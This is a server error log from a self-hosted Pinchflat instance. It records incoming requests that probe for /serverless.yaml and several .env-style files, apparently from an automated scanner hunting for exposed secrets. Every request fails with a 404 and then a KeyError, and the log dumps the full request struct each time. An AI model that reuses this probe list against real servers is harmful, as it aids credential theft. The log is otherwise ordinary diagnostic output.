15:23:50.592 [info] GET /serverless.yaml 15:23:50.592 [debug] QUERY OK source="settings" db=0.1ms idle=56.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.592 [debug] QUERY OK source="settings" db=0.0ms idle=48.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.592 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.593 [error] #PID<0.9984.0> running PinchflatWeb.Endpoint (connection #PID<0.9983.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /serverless.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9983.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50594}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9984.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/serverless.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6myjW_PwyYAAe5C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9983.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50594}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9983.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50594}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-ag (truncated) 15:23:50.594 [info] GET /.env_sample 15:23:50.595 [debug] QUERY OK source="settings" db=0.0ms idle=50.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.595 [debug] QUERY OK source="settings" db=0.0ms idle=36.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.595 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.595 [error] #PID<0.9986.0> running PinchflatWeb.Endpoint (connection #PID<0.9985.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env_sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9986.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env_sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6nYLwVhvFwAAe6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9986.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session (truncated) 15:23:50.638 [info] GET /.envrc 15:23:50.638 [info] GET /.env_1 15:23:50.638 [debug] QUERY OK source="settings" db=0.2ms idle=45.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.638 [debug] QUERY OK source="settings" db=0.2ms idle=45.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.638 [debug] QUERY OK source="settings" db=0.0ms idle=43.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.638 [debug] QUERY OK source="settings" db=0.0ms idle=43.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.638 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.638 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.638 [error] #PID<0.9989.0> running PinchflatWeb.Endpoint (connection #PID<0.9987.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.envrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9987.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50600}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9989.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.envrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6xtNlixmEgAA5NB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9987.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50600}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9987.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50600}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "G (truncated) 15:23:50.639 [error] #PID<0.9990.0> running PinchflatWeb.Endpoint (connection #PID<0.9988.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env_1 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_1", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50614}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9990.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env_1", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6xtP2b1niMAAe7C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_1", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50614}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", 